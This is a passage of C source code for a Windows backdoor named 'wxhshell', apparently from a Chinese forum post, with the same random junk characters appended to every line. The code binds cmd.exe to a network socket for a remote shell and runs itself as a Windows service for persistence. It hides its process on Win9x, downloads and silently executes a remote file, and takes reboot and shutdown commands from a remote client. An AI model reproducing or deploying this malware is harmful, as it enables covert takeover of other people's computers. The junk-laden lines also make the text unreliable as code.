  else ^MPl wx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P$MAURFm  
  } gie}k)&M  
  else { X9^a:7(  
W(N@`^  
    switch(cmd[0]) { i*`;/x'+  
  \TM%,RC3K  
  // 帮助 \hSOJ,{)U  
  case '?': { ~2Jvb[IM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p"Ki$.Y  
    break; ]HoQ6R\E b  
  } Z_&6 <1,H  
  // 安装 /p| ]*={  
  case 'i': { [eV!ho*r  
    if(Install()) {b4+ Yc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uVJ;1H!  
    else "g7`Ytln  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .@{W6 /I  
    break; 9N^&~O|1  
    } zItf>j7|Z  
  // 卸载 !2oe;q2X[G  
  case 'r': { }0Isi G  
    if(Uninstall()) x|/zn<\^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A7&SdJaO  
    else p;av63 i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.G+*h@ g  
    break; D@T>z;  
    } 3^kZydZ CN  
  // 显示 wxhshell 所在路径 7<&CN0&  
  case 'p': { |n-NK&Y(o  
    char svExeFile[MAX_PATH]; xmz83Ll9  
    strcpy(svExeFile,"\n\r"); S[!-M\b  
      strcat(svExeFile,ExeFile); NNC@?A7  
        send(wsh,svExeFile,strlen(svExeFile),0); Cs$wgm*  
    break; =VkbymIZ4y  
    } OZdiM&Zss  
  // 重启 gf6<`+/  
  case 'b': { D6!`p6r+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HpI[Af}l  
    if(Boot(REBOOT)) mq@2zE`.(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-#!]T-P:E  
    else { qG.HJD  
    closesocket(wsh); Y4,~s64e  
    ExitThread(0); yRaB\'  
    } :AYp{"{  
    break; $5aRu,  
    } 0ts] iQ7  
  // 关机 -Y'Qa/:7  
  case 'd': { 6Zwrk-,A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^]}UyrOn  
    if(Boot(SHUTDOWN)) }9[E+8L1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8j#rC#&pm  
    else { Ij>IL!  
    closesocket(wsh); U1<EAGo|  
    ExitThread(0); o ohgZ&k2]  
    } -7)%J+5  
    break; "\bbe@  
    } *"#62U6  
  // 获取shell FCxLL"))  
  case 's': { 9:N@+;|T  
    CmdShell(wsh); HgJ:Rf]  
    closesocket(wsh); +VSJve |  
    ExitThread(0); \v bU| a  
    break; *9((X,v@/  
  } ej dYh $  
  // 退出  }6SfI;  
  case 'x': { f Co-ony  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ht,_<zP;  
    CloseIt(wsh); q h;ahX~  
    break; 4PUSFZK?  
    } fMRBGcg7Dc  
  // 离开 5tI4m#y2  
  case 'q': { VA*~R S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p$dVGvM(  
    closesocket(wsh); T% J;~|  
    WSACleanup(); Fi.gf?d  
    exit(1); -miWXEe@l  
    break; t3!?F(&  
        } G v(bD6Rz  
  } ](yw2c;m e  
  } kBYZNjSz  
Dpp 3]en.  
  // 提示信息 w7NJ~iy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ed$g=qs>  
} [|PVq#(  
  } x]|8  
.8[B }S(  
  return; ')%Kv`hz  
} sU"D%G  
=~Oi:+L  
// shell模块句柄 "5*n(S{ks  
int CmdShell(SOCKET sock) p?S:J`q  
{ e R"XXF0u  
STARTUPINFO si; K 2PV^Y  
ZeroMemory(&si,sizeof(si)); ' O1X+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #@xSR:m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `k~.>#  
PROCESS_INFORMATION ProcessInfo; Oo{+W 5[  
char cmdline[]="cmd"; }Th":sin},  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *gRg--PY%  
  return 0; ]nE_(*w  
} m~Q]#r  
=Ly7H7Q2  
// 自身启动模式 kgfOH.P  
int StartFromService(void) W!B4~L  
{ Z}_{@|  
typedef struct i-oi?x<u&(  
{ .`4N#EjP  
  DWORD ExitStatus; 6FPGQ0q  
  DWORD PebBaseAddress; !{5jP|vo  
  DWORD AffinityMask; \5UwZx\  
  DWORD BasePriority; (3YqM7cqt  
  ULONG UniqueProcessId; F#S^Q`  
  ULONG InheritedFromUniqueProcessId;  qGG  
}   PROCESS_BASIC_INFORMATION; sIQd }  
hYRGIpu5  
PROCNTQSIP NtQueryInformationProcess; Ql8E9~h  
Qp8. D4^@3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b Z c&uq_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZAe>MNtW  
r:.5O F}  
  HANDLE             hProcess; ^/`:o}7K7  
  PROCESS_BASIC_INFORMATION pbi; Gw3eO&X3i  
OoOKr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5 OR L  
  if(NULL == hInst ) return 0; >o #^r;  
'@'~_BBZP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \z!*)v/{-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); is&A_C7yg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s6<`#KFAg  
o_   
  if (!NtQueryInformationProcess) return 0; Rfh#JO@%[  
zA[6rYXY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PZ2$ [s0W  
  if(!hProcess) return 0; k]FP1\Y  
aH<BqD[#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Di{T3~fqU  
bv$g$  
  CloseHandle(hProcess); 5^'PjtW6  
?CGbnXZ4Ug  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lV!ecJw$  
if(hProcess==NULL) return 0; WHxq-&=  
/zZ$<mVG  
HMODULE hMod; kOR5'rh  
char procName[255]; tK)E*!  
unsigned long cbNeeded; *k'D%}N:  
<%klrQya  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vU Bk oC2Q  
|__\Vn  
  CloseHandle(hProcess); VgG*y#Qf$  
#mY*H^jI]~  
if(strstr(procName,"services")) return 1; // 以服务启动 UP=0>jjbn:  
X~XpX7d!  
  return 0; // 注册表启动  4"72  
} *=i|E7Irg  
7M#2Tze}  
// 主模块 5`,qKJ  
int StartWxhshell(LPSTR lpCmdLine) I12WOL q  
{ ws9F~LmLbr  
  SOCKET wsl; i/QE)"B"q  
BOOL val=TRUE; c/.U<  
  int port=0; N}x \Ll  
  struct sockaddr_in door; }8cL+JJU  
m@o/W  
  if(wscfg.ws_autoins) Install(); TNBFb_F  
j3|Ek  
port=atoi(lpCmdLine); "o&_tB;O  
xsS/)R?  
if(port<=0) port=wscfg.ws_port; @$'k1f(u>  
s6SG%Vd  
  WSADATA data; v>zeK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <)c/PI[j  
1zNH[   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # JHicx\8l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zOA{S~>  
  door.sin_family = AF_INET; nWpqAb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /h'V1zL#  
  door.sin_port = htons(port); k&|L"N|w  
qk~ni8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JmB7tRM8  
closesocket(wsl); mmP>Ji  
return 1; UO^"<0u  
} v-2_#  
Arh0m. w  
  if(listen(wsl,2) == INVALID_SOCKET) { ],ioY*4G  
closesocket(wsl); @8X)hpHf  
return 1; ^t4T8ejn  
} -U;2 b_  
  Wxhshell(wsl); uP bvN[~t  
  WSACleanup(); Ut4cli&cC  
xI?%.Z;*+  
return 0; a$!|)+  
Dp|y&x!  
} Up?w >ly  
d5&avL\  
// 以NT服务方式启动 b%<-(o/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [pi!+k  
{ X3zk UMk  
DWORD   status = 0; ''P.~~ezr5  
  DWORD   specificError = 0xfffffff; In)8AK(Hw  
6|gC##T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @,0W(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pe[~kog,TP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yt79W  
  serviceStatus.dwWin32ExitCode     = 0; F9(*MP|  
  serviceStatus.dwServiceSpecificExitCode = 0; /bm$G"%d  
  serviceStatus.dwCheckPoint       = 0; y]$%>N0vLX  
  serviceStatus.dwWaitHint       = 0; B|E4(,]^  
v-u53Fy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d*80eB9P  
  if (hServiceStatusHandle==0) return; \zioIfHm  
>Qg`Us#y  
status = GetLastError(); 4'JuK{/ A7  
  if (status!=NO_ERROR) _bB:1l?V  
{ [5>f{L!<T<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E0QrByr_  
    serviceStatus.dwCheckPoint       = 0; )P    
    serviceStatus.dwWaitHint       = 0; Z,AF^,H[  
    serviceStatus.dwWin32ExitCode     = status; Rn6;@Cw  
    serviceStatus.dwServiceSpecificExitCode = specificError; %9ef[,WT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KEF"`VTB@  
    return; KSsv~!3Yf  
  } jA@jsv  
&u) R+7bl,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #&zNYzI  
  serviceStatus.dwCheckPoint       = 0; `j+aAxJ=\  
  serviceStatus.dwWaitHint       = 0; Wt=QCutt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `8^4,  
} tow0/ Jt  
.OI&Zm-  
// 处理NT服务事件,比如:启动、停止 4D(5WJ&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !p$z8~  
{ SSH))zJ  
switch(fdwControl) Y'tPD#|r  
{ {&Kck>C'  
case SERVICE_CONTROL_STOP: E`68Z/%  
  serviceStatus.dwWin32ExitCode = 0; J`/t;xk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c*LB=;npI  
  serviceStatus.dwCheckPoint   = 0; f5p>oXo4b  
  serviceStatus.dwWaitHint     = 0; Pi|WOE2  
  { ;"/[gFD5u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C+ \c(M a  
  } UYJMW S=  
  return; =.19 7)e  
case SERVICE_CONTROL_PAUSE: H +Dv-*i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3ZRi@=kWz  
  break; /'KCW_Q  
case SERVICE_CONTROL_CONTINUE: nT.i|(xd.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i\E}!Rwl+  
  break; z7B>7}i-  
case SERVICE_CONTROL_INTERROGATE: '%U'%')  
  break; WE;QEA/  
}; MDkcG"O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _XLGXJ[B  
} zJC!MeN  
f;os\8JdM  
// 标准应用程序主函数 MR$R#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ko-|hBNv  
{ Mf'T\^-!  
i=Nq`BoQf  
// 获取操作系统版本 &sh5|5EC  
OsIsNt=GetOsVer(); M*XAyo4 fI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -J7BEx  
?#N: a  
  // 从命令行安装 >uHU3<2&  
  if(strpbrk(lpCmdLine,"iI")) Install(); RsTz3]`yv  
9g %1^$R  
  // 下载执行文件 ]Rah,4?9f  
if(wscfg.ws_downexe) { bYs K|n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b,vSE,&xP  
  WinExec(wscfg.ws_filenam,SW_HIDE); GWb=X cx  
} \YXzq<7  
n=t50/jV3=  
if(!OsIsNt) { |qUi9#NUo  
// 如果时win9x,隐藏进程并且设置为注册表启动 X/< zxM  
HideProc(); ~SKV%  
StartWxhshell(lpCmdLine); .`./MRC  
} 1Q[I$=-F  
else "cJ))v-'  
  if(StartFromService()) ;U+4!N  
  // 以服务方式启动 QT\||0V~p  
  StartServiceCtrlDispatcher(DispatchTable); Ag[Zs%X  
else Kkfza  
  // 普通方式启动 is?#wrV=K  
  StartWxhshell(lpCmdLine); FA5|`  
=|}_ASbzw  
return 0; R-2NJ0F7  
}
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只看该作者 1 发表于: 2006-10-10
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